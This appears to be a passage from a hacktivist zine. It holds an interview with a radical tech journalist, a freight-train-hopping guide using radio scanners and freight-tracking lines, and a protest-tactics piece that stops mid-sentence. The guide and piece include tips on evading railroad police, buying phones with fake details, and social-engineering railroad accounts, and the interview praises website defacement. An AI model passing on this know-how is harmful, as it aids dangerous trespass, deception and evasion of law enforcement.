HTZ: Course if it did happen, we would have nothing to do with it.
A: Of course, this conversation never happened.
HTZ: Exactly! So your first online zine was called “Bad Subjects”, correct?
A: Yea.
HTZ: And what was your experience with that like, I mean, that was when BBS's
were still around right?
A: It wasn't quite the BBS era. I mean there were still BBS's around, well
there still are, I guess we still live in the BBS era. But no, we actually
started it in '91, so it was kind of like nirvana era, culturally, Nirvana era,
and it was originally on GOPHER. Which was sort of a pre-WWW system of links,
basically. And everything was organized as folders, and files within folders
and there were a couple different search engines for it, it was basically like
the web without pictures, which Kind of sucked. And, very very quickly, within
months, we were contacted by a guy with Carnegie-Mellon, who said, hey there is
this thing that you can do, its called the web and it has pictures and all you
need is this thing called mosaic, which was an early web browser, and we said,
“wow! Cool dude!” And so he helped us set up a website, so we were one of the
first ever zines to go online and have a website in '92. And bad subjects is
still going, but at the time when we started, we were a very radical Marxist,
leftist zine, but we were also obsessed with popular culture and sex, so we had
articles about like, Marxism and star trek. And Queer identify, and critiques
around identity politics around queer identify and so we were this kind of weird
group of graduate students trying to express ourselves and be radical and we got
a lot of attention for being so nerdy as to put our information on the we b so
early. so yea it was fun it was interesting trying to work as a collective, we
were organized as a collective, and it turns out collective decision making is
not as Utopian as you might think, its actually really really hard.
HTZ: I know that personally one of the most painful things that I have ever
had to do was try and have a consensus meeting over IRC.
A: Yea! And we were doing some more things, we didn't use irc, well I did but
the group didn't we were using email, which was kind of dumb in retrospect, I
mean imagine a bunch of radical leftists trying to make a decision with email.
And thats actually a great lesson to learn. here are ways that technology can
actually make things slower in some ways than face to face meetings. you know,
people write manifestos to each other and then critique each others manifestos
and it goes on and on.
HTZ: So speaking of radical journalism, you wrote a book, capitalist monsters
in American Culture I believe was the subtitle.
A: Yea the title was pretend we're dead.
HTZ: Ok, so you said that you were Marxist, would you say you are
anti-capitalist?
A: Oh yea, I would definitely say that I am anti-capitalist which makes me
somewhat of an anomaly amongst technical journalists, and I play well with
libertarians, which is good because I think most of the interesting political
writing and I wanna say populist writing which comes out of places like wired
and other magazines that I write for is very libertarian in flavor. So I do
have some sympathies for libertarian politics except for where the pro
capitalist part comes in.
HTZ: What I was going to ask was how do you reconcile your anti capitalist
politics with working working for wired which takes out ads from some of the
largest corporations in the world.
A: Its hard, actually its something that I think about a lot. One of the things
about being Marxist and being interested in the demise of capitalism is that I'm
also really really fascinated by how capitalism works, because you really can't
oppose something without understanding the way it functions and I mean there is
a reason why Karl Marx spent the majority of his life writing “Das Capital”
which is all about capitalism and how it works. Um, so I think one of the ways
that I've been able to write stories for wired is that what I share with them is
this fascination with capitalism and their fascination with capitalism is that
many of the people who work at wired feel that capitalism is what fuels
innovation. And I feel that capitalism allows innovation but in many ways
undermines it. But I share with that magazine and many other magazines that
innovation is basically good. If carefully used and certainly wired is not in
favor of runaway innovation that allows people to die or something like that.
And so I think that There's sort of fundamental areas in which my interests
overlap with a place like wired and ultimately if there is going to be a huge...
Oh can you wait one minute I have to take this call?
[talks on phone]
A: Ok sorry. So that was all I was saying about working at wired was basically,
a technology magazine isn't really the place to talk about how capitalism would
be destroyed. So if that were to ever come up I think I would not be allowed to
write the stories about how capitalism will save the world.
HTZ: Ok, so you recently edited a book called, “Shes such a geek” and its a
collections of essays from female geeks. And you went on a book tour. How has
the book been received. You went on a US tour right?
A: Yea, yea we went on an east coast and the west coast. And we just did our
final reading last night.
HTZ: No stop at MIT?
A: We did actually, we stopped in Cambridge and met a lot of students and
professors, and its been really really really really great. Its definitely a
book thats really needed and we've gotten excellent responses from men and women
who want to find out what its like its like for women to become geeks, what
keeps them geeky. What keeps them from leaving tech fields and what gets them
interested in technical fields in the first place. And there have been moments
of almost like, old fashioned female empowerment, like “Wow! There is a bunch of
geeky women in the room and we are all so cool!” Kind of moments and I think
those are the kind of things that sustain us in political actions those moments
of feeling solidarity and that we are really powerful even tough we are still a
minority. So thats been on a kind of cheesy emotional level, really nice. But
also the book is doing really well. And actually we are talking with Google
about going down there and giving a presentation. Which is really great because
Google is one of the companies that is working really hard on trying to recruit
more women and get more women interested in doing technical jobs and so that
would be fantastic.
HTZ: Yea that would be excellent. So you know, I've gotta say Google keeps
throwing me for loops with first supporting the Chinese government with there
censorship and then making efforts to hire lots of women and I haven't been able
to decide how I feel about them.
A: Yea Google is slippery, I have several friends who work there and I know a
lot of people there, who are doing the good things like Google book, which is a
fantastic copyright reformist almost activist move on the part of the company,
and the company just put almost a billion dollars into figuring out alternative
fuels for cars, I mean a billion freaking dollars, Its really nice, but at the
same time they are doing a lot of really terrifying things in terms of data
gathering and doing censorship work, so yea, I think that Google is going to
be the next Microsoft, and we are all going to feel kind of ambivalently about
them. Maybe they will be less hierarchical than Microsoft, but yea they are the
new infrastructure . They are like a public utility with advertising.
HTZ: So with your book coming out and Google hiring lots of women and the
backlash to the comments of the Harvard president. Do you feel that there is a
new movement of feminism happening in the geek-o-sphere?
A: I definitely think that Lawrence Summers comments did galvanise a lot of
people into talking about why it is that [women?] are underrepresented in
technology and science. And I'm very hopeful because of our book and because
generally there
have been a lot of grants coming from the government and private industry to
study why it is that women are continually dropping out of math and science
fields. And yea I think that things are changing, I think that there are
certainly more women in all of those fields than there were 40 years ago and I
expect that in 40 years we are going to see a really different situation than in
math and science and engineering. I don't think that it will change in 5 years
but I think that the women who are going into college now are just, they don't
have to deal with the same kinds of barriers that women had to deal with 15
years ago. I'm hopeful , I have to say, I'm on a star trek time scale though I'm
looking like “500 years in the future”. I do think 40-50 years in the future I
think we will see a better integrated science work force, and that will be
better for everybody.
HTZ: I was walking down market street a couple of months ago, and I came across,
I cant remember if it was the daily sf newspaper or one of our beloved
independent weekly's. But, the headline was talking about the, I don't know if
you heard about the “Desperate Housewives” video game that came out?
A: No, I didn't [laughs]
HTZ: That has to be the worst idea for a video game ever. But the headline was
what I really took issue with, it was “Finally, a Game For the Ladies”
A: Oh yea, thats great.. [laughter] Thats exactly the kind of bullshit that my
work and the book, “Shes such a geek” is designed to shut down, I mean, the
whole point of our work and of many many women is that, No we don't need special
pink technology, we don't WANT your pink technology, we want the same technology
as everybody else, and you know, sure maybe there is some guy out there who
wants pink technology. Or who wants desperate housewives technology and you
know, thats great, that should be available, but it shouldn't be available on a
gender basis, you know, it should just be whoever feels like they want to have
pink crap. But yea I mean thats, the other thing is its just insulting, there
have been women involved in gaming and game design, and game development and
kicking guys asses for years at it, and it seems like the media and the public
at large just can't quite keep up with transformations in tech culture. They are
just out of touch, they don't realize that there are so many women involved in
gaming already, women who are doing like first person shooters and blowing your
fucking brains out in games and don't want to be a desperate housewife, they
wanna be a troll who beats your head in with a stick, so yea, its sad that
people are still trapped in that binary world where they think girls don't like
computers and I just I feel sorry for those people.
HTZ: Definitely. So you are also a self identified gender queer and also
bisexual or just a sexual queer correct?
A: Sure, yes. those are all good [laughs] I like the idea of being a sexual
queer!
HTZ: Well as opposed to being a gender queer.
A:yea no, gender and sexual queer
HTZ: How has that affected your experience and outlook to the technology world.
A: Uh, Ya know I don't think its affected it all that much. I do think that in
the geek world people are a lot more tolerant of deviance. Because part of
being a geek is being an outsider and not fitting into social norms and having
another way in which you don't fit in to social norms is usually, among many
geeks and particularly in the Bay Area, where we have a strong Queer culture its
sort of, people just don't even bat an eye if I say, oh, I'm bisexual or my
girlfriend is a trannie, its much more startling to them than if I were to say,
oh “I only love windows, I never use Linux” You know, like that would probably
raise more eyebrows than if I were to say I was a gender queer, and its great to
be in this community for that reason.
HTZ: So, do you feel that, well, some people feel that there are class and race
struggles, well.. do you feel like that has a presence in the geek o sphere, do
you think that can be combated.
A: I do, I think that, well, obviously, one of the problems with the geek
community is that its founded on privilege in that you have to have technologies
which in many cases are fairly expensive. And its true that now you can get
recycled computers and a lot of free operating systems like Ubuntu Linux are
designed for reclaimed computers that can be used by people who have access
to fewer resources, and I think that thats a really great way to combat some of
the class privilege thats built into the geek community I think that many geeks,
because they are sort of libertarian, that the sort of, radical politics of the
community tend to be libertarian, a lot of them don't care about class
differences, they don't see class differences. Or, a lot of them think that
people who are poor , are poor because they are lazy or they haven't bothered to
learn skills, and that There's not a lot of, I worry that There's not a lot of
understanding of how social and political circumstances can change someones life
and that even if they do have the will to become technically competent, they
just can't, because they don't have the resources and they don't have the people
around encouraging them. And so, I think that thats changing somewhat . And I
think that Ubuntu is great, I think that the hundred dollar laptop is a great
thing and lots of groups are to get developing nations on line and to get people
who are poor online, and there needs to be more obviously, I mean all of our
tactics can't be about bringing technology to poor people, at some point it has
to be about changing basic political structures and reallocating wealth in a
just way. And this is one way to do it. Reallocating technology is kind of
reallocating wealth.
HTZ: Well especially if you subscribe to the theory that information is wealth,
which it certainly is in this day.
A: Yea, kind of, I mean information wont get you health care necessarily or feed
you or help you get health care or give you really basic things like access to
housing. But once you have all that stuff yea, I think information can
definitely be liberatory.
HTZ: So, what do you think is the roll of hacktivism in the world right now.
A: Well, um, I think a lot of the stuff we've already been talking about, you
know, ways in which people can use their technological skills to create low cost
technologies, or recycled technologies to get more people online and using
computers. I also think that in almost every sphere of technological progress
we have to have people who are questioning industry and questioning government.
And people who are doing things like pirate bay does, you know, saying fucking
the big content holders, we are going to pirate movies, and we are going to
protest the copyright regime by taking from the rich and giving to the poor
essentially. You know, I have a somewhat romanticized view of this, but at the
same time, its a radical response and in the end we would come up with a way
where artists can be payed and the public can be served but I think right now
we are in a situation where desperate measures are required. I think that
people who Reverse engineer technologies to make them free and inter operable
with open software have an honorable place in activism and I think thats about
questioning rules about not exploring the technologies that you buy from
companies when they say, “Don't reverse engineer, don't open the box, don't play
with the cool dvd player that you bought. And I'm always excited when
hacktivists say, “No, break the warranty, open the box, mod your xbox, don't
obey what company tells you to do with your technology. Use it for what you
want, its Your technology. So yea, I mean and all kinds of other stuff protests
online, breaking into corporate websites to try to get a little bit of graffiti
on their website, I think all that stuff is useful, and illegal, and I'm not
advocating it [nervous laugh]. But I mean I think, things that are non
destructive, like if there is defacement of a website that is easily remedied,
you know that you don't trash all the data on the website or something like
that, I think its healthy free expression and those are all fantastic things
that I see hacktivsits doing.
HTZ: So do you think that is the best place for hacktivists then? Participating
in Direct action or civil disobedience.
A: Well when you say hacktivism I think civil disobedience, so I think that um,
and I sort of feel like I ended up talking too much about defacing websites
which I sort of think is the dumbest kind of hacktivism, I mean I think it's
kind of neat but I think that reverse engineering or organizing ways that people
can redistribute media, are much more technically difficult and important, I
think that the other side of that, is that there are a lot of really politically
minded hackers who are working on the other side of that, who are working in the
system, who are either working in universities, there's people like Ed Phelton
who in his sort of quite way is very radical. But he works at Princeton and hes
a respected professor but he is very interested in inviting people to explore
technologies in ways that are not authorized by their End User License
Agreements. Or by the companies themselves, and he really just tirelessly
advocates for that. And then there are the white hat's who work, say well, as an
example, lets say that there are hackers who work at Microsoft, and they are
working on windows vista, and they are breaking, they are being payed by
Microsoft to break the security on windows vista over and over and over again
and actually wound up creating an operating system that is far more secure than
XP and yet, in some ways these are people who have sold out. They are working
for the man, they are working for the beast. They are not talking openly about
what they are doing because they are under Non Disclosure Agreements. And at
the same time they are protecting all these people, they are protecting these
innocent people who are using vista because thats what their companies are going
to use or they aren't interested in playing with the Linux command line but I
think that those are people, In a way those are sort of the unsung, cool
hacktivists who are actually making all this corporate software something that
isn't harmful to consumers. And I think thats a good thing.
HTZ: Right well they are at least doing their part to stop the spammers and
kiddie porn hackers and script kiddies of the world.
A: Yea, yea, although, you know, some of my best friends used to be script
kiddies
HTZ: Yea, we all are at one time
A: We were all 14!
HTZ: Exactly! So, what do you think is the most pressing issue facing people who
are involved in technology, hackers, geeks, IT professionals, technological
writers, what do you think is the most pressing issue facing all of us right
now.
A: Well I think that the most pressing issue is freedom of expression, and in a
lot of ways, well I think one way is that now that so much data about
individuals is online, there is all of this technology that enables speech, but
all of that technology that enables speech can be used to shut speech down at a
fairly granular level, and I worry about that a lot, I feel like we don't have a
lot of safety mechanisms in place to prevent, say the seclists shutdown that
happened last week, where a registrar, go daddy, which is a huge company that
owns many many domains, just shut down this huge security resoutces, because of
one report from myspace, so basically you have these large corporations that can
shut down your speech at any time without any government over site without any
legal over site. So that worries me, It also worries me that we have a lot of
lawmakers who are using things like the issue of child porn to make laws that
prevent reasonable adult speech on line and we are just constantly getting hit
by bill after bill and law after law where various congress critters have been
able to dress censorship up in the clothing of protecting the children and I
think that, basically what they are trying to do is shut down people like me and
you, and I think that claiming that its to protect children from being molested,
which couldn't be further from the truth, and also I think that There's so much
more surveillance capability now with mobile devices and traffic analysis online
that I think people will become more and more self censoring. Because they are
afraid to talk about anything using electronic devices because they are afraid
AT&T is handing over to the NSA or the FBI or that some company is recording
everything they are doing on chat so they can't chat openly, so those I think
all of those things are issues. And so hackers are working on all kinds of
stuff to protect peoples privacy, to put out speech that can't be shut down.
And thats what I'm really interested in learning more about, what those people
are doing, and how we are going to keep freedom of expression going no matter
what.
HTZ: Excellent. So I just have one question left. Have you been clogging the
Internet tubes?
A: I am! I am personally. Well actually, you have to look at it this way, I'm
only clogging my tubes, on my Internet.
HTZ: On your own personal Internet.
A: On my own personal Internet. So you know, I mean what can I say porn takes
up a lot of space, and what can I say I mean its my own personal Internet so I'm
allowed to have whatever freaking porn in there I want and all the movies I'm
downloading and stuff, and uploading, but I mean, thats not affecting your
tubes, so I don't know what you are doing in your tubes but..
HTZ: Maybe I need to pour some AJAX down my tubes.
A: Or chicken fat, maybe thats what you could do with your chicken fat, I mean
its supposed to be for knishes and stuff, but you could always use it for the
internment.
HTZ: Thank you so much for granting this interview, any last words?
A: No I think I blew my wad with the Internet tubes [laughs]
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Hacking Freight Trains Part 1 - by evoltech
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Preface:
This is a two part article on hopping freight trains. The first part deals with
some of the technology and common sense that can be used when riding freights.
The second part is the adventure log of evoltech and haifleisch as they rode the
rails from SF to NY for HOPE6. Miscellaneous contributions were provided by
hobocore.
Some of the topics discussed here may be illegal and are definitely dangerous,
you are the only one responsible for keeping your self out of jail, with all
body parts intact, and out of Elko, NV.
Pretty much the whole time we were out on the road I had the song Steamroller by
the Adicts [8] stuck in my head. You should probably listen to it on repeat
like the whole time you are reading this.
Intro:
HOPE6 was quickly approaching and I thought it would be a great excuse to
finally try and learn how to hop trains. After talking to a whole lot of
experienced riders, searching on line, and reading Hopping Freight Trains In
America by Duffy Little John[1], I decided to give it a shot.
Sometime after the May day action in SF I got all excited about using scanners
to get behind the scenes info. I got the idea to try and use a scanner to make
life a little easier when trying to catch trains near yards, and especially
since I was unable to get a hold of a crew change. A Crew Change is a zine put
out yearly by traindoc. It includes information about the common stops for
trains, good points to catch out from, schedules, and various other tidbits of
information. I still haven't seen a crew change to this day and am starting to
think that they are fictional objects like snipe, and I have been sent on
searches for them, as older / more experienced riders all have a good laugh
together at my expense.
In the sections below I will talk about the use of scanners, freight train
tracking, using the rail lights, mapping your trip, identifying a good car ,and
some common sense tips.
Scanners
Any scanner that is capable of searching and locking on the 160-161 MHz range
will do. alxCIAda was so kind as to let me borrow his Radio Shack Pro-82 [2].
This turned out to be all we needed to pick up all 96 of the AAR (American
Association of Railroads) channels. There were however a few features missing.
If you have the resources I recommend that you get a hold of a scanner that has
a "Dual Channel Watch" feature as it seemed common that crew, engineers, and
bulls would use two channels at once to simulate full-duplex communication. If
you have a little more cash (or luck) and you should get a dual trunking scanner
so you will also be able to pick up the local police frequencies which comes in
handy for local operations during street actions. You will also most
definitely want to have a scanner that has an audio out jack and a decent
durable set of headphones. Scanners "sqwak" a lot and in nearly all situations
you will find yourself in where you need to get train / yard information you do
not want to be seen or heard.
AAR Frequencies
The FCC has assigned the range of 160.110 megahertz to 161.565 megahertz, in 15
kilohertz increments to the Association of American Railroad [3]. These
frequencies were programmed into the PRO-82 by hand because I did not have the
data cable to connect the laptop to the scanner. As there are only 96 channels
it didn't take too long. The channels for the most part seem to be arbitrarily
used. From my experience though it seemed that most yards used channels in the
lower end of the list where channel 6 was seen most frequently. I separated the
channels into 5 banks of 20 which allowed me to scan through all of them in
succession. You will have to see your scanners documentation to figure out how
to set this up. There are a number of pages on the Internet that attempt to
track the channels that are used by different rail lines, yards, and control
towers [4]. These lists are contributed by hams local to the area they are
relevant too. I found that they are frequently incorrect, your mileage may
vary.
The conversations that I overheard throughout our travels varied. The
communication between yard workers assembling consists was useful because we
could get a idea of the type of line that would be coming through, and sometimes
the destination. If you get spotted in a yard you may also get word of this a
head of time on any of the control operations, yard crew, or bull channels. Be
alert, stay covert! The communication between the engineers and the control
tower was the most useful however. The details on this line were usually as
detailed as: the engine number, number of cars in the consist, cardinal
direction, whether or not a crew change would be happening, and how fast the
train was permitted to pass through the yard. This is where the dual watch
feature will come in handy. Once you find the yard channel (yard crew, tower
operations, bull) you are interested in you can scan for the incoming / outgoing
train channel. Once you lock in the train channel you will have access to the
full duplex communication between operators. Own3d! This was simulated in the
PRO-82 by locking in on the control tower once found and then setting the train
channel as a "priority" channel.
Another set of frequencies not listed with the standard AAR channels are the EOT
channels. These channels usually carry automated communication from end cars
that will describe the number of cars in a consist and the current mile marker
it just hit. This would be a good time to make a mental note to include mile
markers with your maps. These channels are on 457.9375 MHz and 452.9375. I
noticed that the communication on these channels is sometimes unrecognizable by
humans, but at the very least if your scanner picks up on those channels you
will know a train is about 3 - 5 miles away.
Commonly used scanner communication is filled with rail road jargon that can be
cryptic. It is a good idea to get out near the yard with your scanner and spend
some time listening in before you head out on the road. Fortunately there are a
number of websites set up that have on line streams of local yard traffic [5].
You will also want to get up to up to speed on the common jargon used on these
channels, wikipedia has a great page on this [6]. Before heading out on our
trip I spent about two months listening to the communication from different
yards on railroadradio.net. I also spent a little time riding around the local
yard on my bike discovering the other channels that were used and their purpose.
As with all actions the amount of surveillance you do a head of time will make
deployment that much easier, accurate, and timely.
Freight Train Tracking
There are a number of resources available to freight train customers to track
their cargo. These tools can be used by the hopeful train hopper to get crucial
info while on the road as well as building time tables for the trip. When
planning your trip you will want to know the following info: frequency of high
priority freights, crew change points, and common departure times. There used
to be publicly available freight tracking tools on uprr.com and bnsf.com but
were password protected sometime around 2006-09-01. Social Engineering accounts
on these websites and setting up a SMS proxy would be a great article for the
next HTZ.
There is also a customer service number. Because this number was given to me in
confidence and because of the fact that freight train riders are super
protective of their info I will not give this number in the article. However a
simple search on Google of "national customer service contact number
site:uprr.com" will get you all the info you need. Figuring out the Tele-Trans
tracking menu is left as a exercise to the reader. One tip I will give, because
it took me a while to figure out, is regarding the Equipment ID. The Equipment
ID is a number listed on the side of the actual cars, it consists of a [A-Z]+
prefix and is followed by a [0-9]+ suffix. On intermodals this number is
usually written vertically on the side of boxes, not the flatbed. On other car
types the equipment id is usually written in big black letters on the side of
the car. When entering the [A-Z]+ prefix you have to press the number key that
contains the letter, and then the number key that identifies the position of the
letter; ie A=21, B=22, f=33, etc.
When tracking a specific car you will get the time of arrival and final
destination of the car. This will not tell you the crew changes along the way.
To get this info you will have to call in the engine number. This will tell
you when a new engine is getting on, or sometimes when it is stopping. This is
another time that the scanner may come in handy, as the engineers usually
announce the engine number when they are contacting the control tower.
Rail lights
While you are out doing your initial surveillance of a yard you will most likely
come across the rail signal lights. These lights will either be hanging in the
air or will be near the ground. The signal lights used by freight trains are
similar to the signal lights used for automobiles. In railroad jargon freight
train light signals are called "wayside signals". "The Signal immediately to the
right of the track your train is on in your direction of travel controls your
train" [1], or right over the track. There is a whole very useful, and
technical chapter devoted to this in Hopping Freight Trains in America. There
is a lot you can learn about what's going to happen on the tracks by reading it.
The basics is that no two trains can share a track at the same time. Trains on
one end will be stopped until the track is clear, and a stopped train is a train
that can be boarded. Again pay attention to your surroundings, and use common
sense.
Maps
There are a ton of map resources on line available for your adventure. And to
make things even easier Union Pacific has all of its maps on line organized by
states [7]! Once you figure out what yards you are going to end up in you can
use Google maps to map out the yards. Google maps is especially useful for
making educated guesses for good catch out points. Once you find the RR tracks
for your city with Google maps, follow them into the yard (you will see many RR
tracks next to each other), find the beginning and end of the yard and you will
find your catch out point! Because of the amount of use that your map will get
and the conditions it will be exposed to I recommend laminating it. Laminating
has the added bonus of allowing you to use oil pencils on it to take notes. A
cheap lamination technique I used was using strips of clear packing tape on
either side of the printouts.
Ridable trains
There are many types of trains available to you, each having different
qualities. Many cars just aren't ridable. This is another issue that is
covered in great detail in Little John's "Hopping Freight Trains in America",
and is a topic that any freight train rider will talk your ear off about for
hours if you ask. Safety is my first concern, this shit is super dangerous! I
wouldn't ride anything that did not have a designated, railed off floor. I also
wouldn't ride anything with holes in the floor larger then my fist.
Hotshots (faster-moving trains) are separated in 2 categories: Intermodal trains
which consist of trailers or containers usually stacked on flat cars, usually
harder to find a good ride on; and DoubleStacked trains (piggybacks) which
usually consist of containers stacked in 48 or 53 ft. well-containers. The DS
trains are usually easier to find a ride on. Junk trains will be made up of
different cars, boxcars, grainers, oil tankers, etc. and usually move much
slower, stopping frequently to let hotshots pass.
[picture here: geton.jpg]
These cargo lines usually start on ships then get travel on containers across
the country. They are usually your fastest most direct ride. They come in
different lengths, of which the 48 foot one being the one that most commonly has
room to ride. Look for space between the end freight and the actual container
and Watch out for cars with no floors. The down side to this car is that a lot
of wind comes up from underneath the freight, you don't get a great view of the
passing scenery, and there is no roof.
Grainers are usually white / gray, sometimes roundish creatures.
[picture here: grainer.jpg]
These cars have a platform on them that you can sit on. One thing though, make
sure you board the rear end, otherwise you will be eating a lot of wind.
Box Cars are the units that most people are probably familiar with. I don't
recommend trying to get on one of these suckers while they are moving cause its
way to easy to slip underneath and get run over. These units usually are the
slowest of your choices, but what they lack in speed they gain in shelter and
scenery. Just make sure you have something, like a railroad spike, to keep the
doors from slamming shut and locking you in.
All other types of trains you should use your own judgment. You are going to
want something that is safe, comfortable, and covert. It gets really windy out
there and really fucking cold at night.
Useful Tips
To wrap things up I am including a list of tips that I learned the hard way.
Remember, use your common sense out there, stay safe, and have fun. Oh and if
anyone writes a simple SMS to UP tracking web app please send me the info as
that would be handy.
- Bring a sheet of plastic. This will double as a windproof / water proof
bedroll / gear cover.
- Bring lots of water. You should consider one gallon per person per day. If
you think there is any chance you will be getting a hot shot that won't be
making many stops bring as many gallons as you can, it sucks to run out of
water and miss your train cause you had to get off.
- pack light, seriously trains move slow you are going to be carrying all that
shit for a while.
- Bring lots of warm clothes. It gets really cold at night in the mountains and
desert even in the summer.
- Bring a book. You're going to have a lot of time spent waiting.
- If you are going to bring a phone for freight tracking while on the road,
bring an extra battery, and use your phone as little as possible.
- I found that the best time to catch good trains was between 10pm and 6am.
- Take a compass, helps with reading the maps.
- Regarding food, hobocore prefers ramen, peanut butter, and hot sauce mixed
together with water in the ramen bag. And its light!
- If you are getting on or off while the train is moving "on the fly" be sure to
walk or run along side the train while holding onto the ladder. Do not try at
speeds beyond your ability.
- Absolutely, positively, all of the time, do not do anything unless you are
comfortable with it. Your not going to look too macho in a closed casket.
- While you don't want to be seen in the yard or on a train, there are times
when train employees may be able to give you helpful information. Anything in
a white SUV is your enemy. The bull is a railroad cop, aka a asshole, and can
have you arrested.
- Riding alone or without a experienced rider your first time is a bad idea.
- Deet may give you cancer but it will keep you sane if there are mosquitoes.
- Handiwipes can be used for everything from toilet paper to showers to cleaning
dishes, and you can get em at the dollar store.
resources/references
[1] Hopping Freight Trains in America - a slightly outdated how to on riding
freight trains, covers all the basics in great and entertaining detail.
Available from many on line bookstores (
Amazon:http://www.amazon.com/Hopping-Freight-Trains-America-Littlejohn/dp/094462
734X/sr=1-1/qid=1164391604/ref=sr_1_1/102-1721148-1323333?ie=UTF8&s=books)
[2] PRO-82 200-Channel Handheld Scanner - this scanner has a 200 channel bank,
allows searching on selected banks, and has a computer interface for easily
modifying the channel lists. They can be found relatively cheaply on line as
they are pretty dated:
http://www.radioshack.com/product/index.jsp?productId=2049661
[3] A very complete article on AAR frequencies covering the actual frequencies,
use of those frequencies, and scanner hardware:
http://www.on-track-on-line.com/scanner-radio.shtml
[4] A increasingly outdated (July 12, 2005) list of AAR channel to yard / rail
line list: http://www.uiuc.edu/ph/www/roma/rr-freqs
[5] Live Railroad Radio Communications covering various yards throughout the US
http://www.railroadradio.net/index.php
[6] Wikipedia List of U.S. railfan jargon
http://en.wikipedia.org/wiki/List_of_US_railfan_jargon
[7] Union Pacific maps:
http://www.uprr.com/aboutup/maps/index.shtml
Uniion Pacific State by State maps:
http://www.uprr.com/aboutup/usguide/index.shtml
[8] Steamroller, by the Adicts Lyrics
http://www.lyricsstyle.com/t/theadicts/steamroller.html
A interesting article on everything2.com with some history and good tips:
http://everything2.com/index.pl?node_id=1382746
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
################################################################################
intro to the free shit project a online free living directory
################################################################################
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
The free shit project is an online directory of independent spaces, actions,
events, and free goodies to help support the alternative / radical communities.
If anyone is interested in a Free Shit page for their local area send us an
e-mail and it will be set it up! Its the goal of the project to have it in as
many cities as possible.
Food Not Bombs / Free Markets - We regularily prepare free community meals in as
many locations as possible across the globe. These meetings are open for anyone
to help cook, distribute, eat and of course clean up. We also help distribute
extra foods, clothes, bikes, computer equipment, and other goodies for free.
Deliveries - We commonly go on dumpster diving missions across the city of
Chicago. If you live in a community house and would like to have goods dropped
off, contact us and we could arrange a day for us to drop by with free food or
other goods. We would like to see this in other cities, its a great way to meet
and help out other community houses in your area!
Submit a Spot - The free shit project encurages you to add to our listings
database! If you know about a cool community space, or a place where you can get
free goodies, or an upcoming (or regular) action/event, please submit it. More
instructions can be found at freeshit.hackbloc.org/about.php As we are trying to
build a non-profit self sufficient community, we want to encourage independent
community projects, and would reject any commercial postings.
Help Out - Our collective participates in alternative / radical / community
projects across the globe. Everyone is encuraged to help us in the following
areas:
* people to help us do dumpster diving missions (cars / bike carts needed)
* people who want to help build and repair bikes and computers for community use
* people who want to help cook and serve food in public for Food Not Bombs
* people to help keep this online website maintained with free stuff, community
spaces, and cool actions.
If you would like to get involved with the project, or see one in your area
send an email to hackbloc at gmail dot com.
Chicago RSS newsfeed @ freeshit.hackbloc.org/chicago/trash.php?action=rss
Bay Area RSS newsfeed @ freeshit.hackbloc.org/sf/trash.php?action=rss
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
################################################################################
Technologically Enhanced Protesting
################################################################################
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
The police have been studying modern street protesters and they know our tactics
though and though. They easily can perdict our actions and be one step ahead of
us at all times. The police are regularly training to be effective against
street protesters, this provides them with a huge advantage to our less trained
groups. Most of our numbers are in the dark as to what the police will be doing
tactically and have no understanding of their tactics. If we hope to remain out
of police dentention we must learn their tactics and ways of countering them.
Technologically Enhanced Protesting or TEP:
TEP is the art of using technology to either increase the odds of a action in
your favor by using technological reconnaissance methods as well as using
technology to make sure those on the street stay on the street and not in jail.
These ideas are coming mostly from street battles in the United States but can
apply in most countries and situations where you are facing a technologically
advanced opponent.
One form of TEP is is monitoring police radio communications. For less than
$200 US at radio shack you can get a dual trunking police scanner. Basically the
scanner is a tool that will allow you to listen in on the police's radio
communication. While these tools are small it would be wise to keep them hidden
from the police if you have to be on the street. Modern scanners have a decent
range, you don't have to be anywhere near the site of the action to still tune
into the police in that area. To improve the effectiveness of using one of these
dauring an action you could get together in a small group with scouts out at the
protest site, someone listening to a scanner and keeping and update a map of
where everybody is on the streets, as well as the police's movement and possibly
what they are planning to do. The scanner operator should be familiar with the
way the police communicate, the wont speak in plain English and it helps if you
know the phonetic alphabet and common police codes to understand anything the
police are saying. Any maps that are created during an action should be
carefully and securely destroyed after an event. Before any action takes place
this group needs to consider how its going to communicate. Communication
between members of the group needs to be secure or your putting your self and
your group at risk. (* See evoltech's train hoping article part 1 for more
information on scanners.*)
This brings up the problem of secure communication. If you can monitor the
police transmissions what is to stop them from monitoring yours, the police
have the tools to monitor everything from low end walky talkys to your cell
phone. In all honesty unless you are very high profile or its an extremely large
action such as a WTO meeting there is very little chance that the police are
monitoring your phone. The risk is increased in larger cities such as Chicago
and LA. In recent court cases the feds were able to remotely activate the mic on
a cell phone to listen in on conversations, one way around this is to go to your
local drugstore and buy a "trac phone", or similar, these are about $20 and
include 100min of talk time when you purchase them. Pay in cash and use fake
info... enjoy your new untraceable phone. If you are engaged in high risk
direct action, do not forget that most phones nowadays have GPS chips in them,
for Emergency 911 purposes, so before you engage, turn off the phone and take
out the battery.
Sometimes, especially when critical information comes in you need to get out
a message to a large group very quickly or to a small team (eg. scouts).
Obviously it would take far to long to call everyone that you needed to, even if
you had a phone tree. Thats where txtmob comes in. Txtmob is like a listserv
for SMS text messages. Everyone with a cellphone signs up by sending a text
message to an email address with the word "JOIN". Then when you send a
text message to a certain phone number it will send it to everyone on the list.
More information and a how to set it up can be found at http://www.txtmob.com/.
If you can pass out fliers before the protest with instructions on how to join,
and get your whole team on a certain txtmob this can be a very quick way free
way of improving your communications. Just remember that if your textmob is
made public, the cops can join. So don't send anything that you don't want them to
know. It also helps to have more then one list set up, one for the scouts, one
for secure information sent only to verifiable phone numbers, and a third for
general info that can be sent to large groups. Again as with cellphone calls
these should not be considered 100% secure, sure they are more secure then walki
talkis but the police have tricks up their sleeves too!
Most protesters on the street don't study the police tactics and get confused
and panic when the police react. Its time for that to change, next time There's
an action in your area dress in plain cloths and watch the police, how they
